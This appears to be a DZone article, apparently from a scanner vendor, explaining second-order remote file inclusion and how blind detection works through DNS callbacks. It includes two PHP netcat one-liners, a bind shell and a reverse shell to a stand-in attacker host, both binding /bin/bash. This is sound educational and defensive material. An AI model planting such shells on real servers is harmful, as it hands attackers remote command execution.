Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}

Second-Order Remote File Inclusion (RFI) Vulnerability Introduction

DZone's Guide to

Second-Order Remote File Inclusion (RFI) Vulnerability Introduction

An introductory look at RFI vulnerabilities (what they are, how they're introduced, etc.) and how the proper security tool can help defend your application.

· Security Zone ·
Free Resource

Discover how to provide active runtime protection for your web applications from known and unknown vulnerabilities including Remote Code Execution Attacks.

The main difference between a Remote File Inclusion (RFI) vulnerability and a second-order one is that in a second-order RFI, attackers do not receive an instant response from the web server, so it is more difficult to detect. This is because the payload that the attacker uses to exploit the vulnerability is stored and executed at a later stage.

Exploiting a Second-Order Remote File Inclusion Vulnerability

Imagine a website that allows users to submit links through a web form. These submissions are later reviewed by a moderator, on a control panel that directly adds the remote content into the page. If an attacker manages to use the form to submit a remote website containing a dangerous payload, this payload will be executed once the moderator opens the page.

This means that what the attacker's included will still be executed on the web server. However, the attacker can not use a guided web shell with a user interface to issue commands, as the admin is the only one who would see the output. So they have to resort to alternative techniques, such as spawning a bind or reverse shell.

A bind shell listens on a specific web server port and binds a shell (such as Bash) to it. Once the attacker connects, they are able to execute commands. This will not work, however, if a firewall is in a place that prevents non-whitelisted ports from receiving incoming connections.

<?php 
system(‘nc -lp 4444 -e /bin/bash’);

A reverse shell does the same, but instead of listening on the web server, it actively initiates a connection to the attacker's machine. This bypasses the firewall rule since this connection is outgoing, not incoming.

<?php
system('nc attacker-server.com 4444 -e /bin/bash');

Another method, which is often used in automated exploitation by malicious hackers, is hard-coding the command that installs malware on the server into the included file, without further possibility of interaction. The malware, in this case, is often a piece of code that connects back to a command and control server, awaiting further instructions.

How Do Security Tools Detect Second-Order RFI Attacks?

This screenshot shows the RFI vulnerability as reported in the Netsparker Desktop.

As with other second-order and blind web application vulnerabilities, the Netsparker web application security solution probes the web application and sends a payload with a custom hash. That hash is used as a subdomain of our Netsparker Hawk testing infrastructure, which results in a URL like this:

b92e8649b6cf4886241a3e0825bd36a262b24933.r87.me

When the file inclusion is triggered at a later time, the vulnerability is exploited as follows:

  1. The web server tries to include a file underb92e8649b6cf4886241a3e0825bd36a262b24933.r87.me  
  2. The Netsparker Hawk server responds with another payload containing code, which forces the web server to resolve yet another custom subdomain.

If the second DNS query is successful, Netsparker will confirm the blind RFI.

Find out how Waratek’s award-winning application security platform can improve the security of your new and legacy applications and platforms with no false positives, code changes or slowing your application.

Topics:
second-order remote file inclusion vulnerability ,security ,web application security ,cybersecurity ,vulnerabilities

Published at DZone with permission of

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}